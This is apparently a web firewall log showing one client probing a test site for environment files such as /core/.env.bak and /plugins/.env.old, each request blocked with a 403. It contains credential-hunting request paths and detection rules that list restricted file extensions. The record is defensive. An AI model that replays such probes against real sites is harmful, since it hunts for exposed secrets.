[Thu Nov 27 18:08:39.756168 2025] [:error] [pid 362070] [client 3.75.214.235:56578] [client 3.75.214.235] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env.bak"] [unique_id "aSiFl37GWRIORDaPTtG7JAAAAAs"]
[Thu Nov 27 18:08:39.756340 2025] [:error] [pid 362070] [client 3.75.214.235:56578] [client 3.75.214.235] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env.bak"] [unique_id "aSiFl37GWRIORDaPTtG7JAAAAAs"]
[Thu Nov 27 18:08:39.756545 2025] [:error] [pid 362070] [client 3.75.214.235:56578] [client 3.75.214.235] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env.bak"] [unique_id "aSiFl37GWRIORDaPTtG7JAAAAAs"]
[Thu Nov 27 18:08:39.756732 2025] [:error] [pid 362070] [client 3.75.214.235:56578] [client 3.75.214.235] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env.bak"] [unique_id "aSiFl37GWRIORDaPTtG7JAAAAAs"]
[Thu Nov 27 18:08:39.832388 2025] [:error] [pid 364938] [client 3.75.214.235:56604] [client 3.75.214.235] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env.old"] [unique_id "aSiFl1EFdTVEtgaNa5gxDQAAAAc"]
[Thu Nov 27 18:08:39.832565 2025] [:error] [pid 364938] [client 3.75.214.235:56604] [client 3.75.214.235] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env.old"] [unique_id "aSiFl1EFdTVEtgaNa5gxDQAAAAc"]
[Thu Nov 27 18:08:39.832768 2025] [:error] [pid 364938] [client 3.75.214.235:56604] [client 3.75.214.235] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env.old"] [unique_id "aSiFl1EFdTVEtgaNa5gxDQAAAAc"]
[Thu Nov 27 18:08:39.832966 2025] [:error] [pid 364938] [client 3.75.214.235:56604] [client 3.75.214.235] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env.old"] [unique_id "aSiFl1EFdTVEtgaNa5gxDQAAAAc"]
[Thu Nov 27 18:08:39.900558 2025] [:error] [pid 353187] [client 3.75.214.235:56636] [client 3.75.214.235] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /modules/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/modules/.env"] [unique_id "aSiFl3jjVMPW7zDRgsawbAAAAAM"]
[Thu Nov 27 18:08:39.900781 2025] [:error] [pid 353187] [client 3.75.214.235:56636] [client 3.75.214.235] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/modules/.env"] [unique_id "aSiFl3jjVMPW7zDRgsawbAAAAAM"]
[Thu Nov 27 18:08:39.900961 2025] [:error] [pid 353187] [client 3.75.214.235:56636] [client 3.75.214.235] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/modules/.env"] [unique_id "aSiFl3jjVMPW7zDRgsawbAAAAAM"]
[Thu Nov 27 18:08:39.983167 2025] [:error] [pid 354739] [client 3.75.214.235:56656] [client 3.75.214.235] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /modules/.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/modules/.env.save"] [unique_id "aSiFl-_UStX-GTeIAe_u_QAAAAY"]
[Thu Nov 27 18:08:39.983387 2025] [:error] [pid 354739] [client 3.75.214.235:56656] [client 3.75.214.235] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/modules/.env.save"] [unique_id "aSiFl-_UStX-GTeIAe_u_QAAAAY"]
[Thu Nov 27 18:08:39.983574 2025] [:error] [pid 354739] [client 3.75.214.235:56656] [client 3.75.214.235] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/modules/.env.save"] [unique_id "aSiFl-_UStX-GTeIAe_u_QAAAAY"]
[Thu Nov 27 18:08:40.057111 2025] [:error] [pid 362069] [client 3.75.214.235:56686] [client 3.75.214.235] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/modules/.env.bak"] [unique_id "aSiFmLt0j3LvN_HNhHWZEQAAAAo"]
[Thu Nov 27 18:08:40.057286 2025] [:error] [pid 362069] [client 3.75.214.235:56686] [client 3.75.214.235] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /modules/.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/modules/.env.bak"] [unique_id "aSiFmLt0j3LvN_HNhHWZEQAAAAo"]
[Thu Nov 27 18:08:40.057502 2025] [:error] [pid 362069] [client 3.75.214.235:56686] [client 3.75.214.235] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/modules/.env.bak"] [unique_id "aSiFmLt0j3LvN_HNhHWZEQAAAAo"]
[Thu Nov 27 18:08:40.057699 2025] [:error] [pid 362069] [client 3.75.214.235:56686] [client 3.75.214.235] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/modules/.env.bak"] [unique_id "aSiFmLt0j3LvN_HNhHWZEQAAAAo"]
[Thu Nov 27 18:08:40.128575 2025] [:error] [pid 364939] [client 3.75.214.235:56710] [client 3.75.214.235] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/modules/.env.old"] [unique_id "aSiFmBr_ze0xmC_DyvfLagAAAA0"]
[Thu Nov 27 18:08:40.129333 2025] [:error] [pid 364939] [client 3.75.214.235:56710] [client 3.75.214.235] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /modules/.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/modules/.env.old"] [unique_id "aSiFmBr_ze0xmC_DyvfLagAAAA0"]
[Thu Nov 27 18:08:40.129557 2025] [:error] [pid 364939] [client 3.75.214.235:56710] [client 3.75.214.235] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/modules/.env.old"] [unique_id "aSiFmBr_ze0xmC_DyvfLagAAAA0"]
[Thu Nov 27 18:08:40.129732 2025] [:error] [pid 364939] [client 3.75.214.235:56710] [client 3.75.214.235] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/modules/.env.old"] [unique_id "aSiFmBr_ze0xmC_DyvfLagAAAA0"]
[Thu Nov 27 18:08:40.200602 2025] [:error] [pid 353188] [client 3.75.214.235:56734] [client 3.75.214.235] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /plugins/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/plugins/.env"] [unique_id "aSiFmD4fHjXDucK3GWvWwwAAAAQ"]
[Thu Nov 27 18:08:40.200819 2025] [:error] [pid 353188] [client 3.75.214.235:56734] [client 3.75.214.235] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/plugins/.env"] [unique_id "aSiFmD4fHjXDucK3GWvWwwAAAAQ"]
[Thu Nov 27 18:08:40.201011 2025] [:error] [pid 353188] [client 3.75.214.235:56734] [client 3.75.214.235] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/plugins/.env"] [unique_id "aSiFmD4fHjXDucK3GWvWwwAAAAQ"]
[Thu Nov 27 18:08:40.285593 2025] [:error] [pid 353186] [client 3.75.214.235:56764] [client 3.75.214.235] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /plugins/.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/plugins/.env.save"] [unique_id "aSiFmCOJA5NFmjDGU5hITwAAAAI"]
[Thu Nov 27 18:08:40.285803 2025] [:error] [pid 353186] [client 3.75.214.235:56764] [client 3.75.214.235] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/plugins/.env.save"] [unique_id "aSiFmCOJA5NFmjDGU5hITwAAAAI"]
[Thu Nov 27 18:08:40.285981 2025] [:error] [pid 353186] [client 3.75.214.235:56764] [client 3.75.214.235] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/plugins/.env.save"] [unique_id "aSiFmCOJA5NFmjDGU5hITwAAAAI"]
[Thu Nov 27 18:08:40.357054 2025] [:error] [pid 353185] [client 3.75.214.235:56796] [client 3.75.214.235] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/plugins/.env.bak"] [unique_id "aSiFmHTG8IrOxOxezX5AswAAAAE"]
[Thu Nov 27 18:08:40.357242 2025] [:error] [pid 353185] [client 3.75.214.235:56796] [client 3.75.214.235] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /plugins/.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/plugins/.env.bak"] [unique_id "aSiFmHTG8IrOxOxezX5AswAAAAE"]
[Thu Nov 27 18:08:40.357459 2025] [:error] [pid 353185] [client 3.75.214.235:56796] [client 3.75.214.235] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/plugins/.env.bak"] [unique_id "aSiFmHTG8IrOxOxezX5AswAAAAE"]
[Thu Nov 27 18:08:40.357640 2025] [:error] [pid 353185] [client 3.75.214.235:56796] [client 3.75.214.235] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/plugins/.env.bak"] [unique_id "aSiFmHTG8IrOxOxezX5AswAAAAE"]
[Thu Nov 27 18:08:40.430288 2025] [:error] [pid 360200] [client 3.75.214.235:56816] [client 3.75.214.235] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/plugins/.env.old"] [unique_id "aSiFmAQeQhonID1lme2zHAAAAAk"]
[Thu Nov 27 18:08:40.430482 2025] [:error] [pid 360200] [client 3.75.214.235:56816] [client 3.75.214.235] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /plugins/.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/plugins/.env.old"] [unique_id "aSiFmAQeQhonID1lme2zHAAAAAk"]
[Thu Nov 27 18:08:40.430702 2025] [:error] [pid 360200] [client 3.75.214.235:56816] [client 3.75.214.235] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/plugins/.env.old"] [unique_id "aSiFmAQeQhonID1lme2zHAAAAAk"]
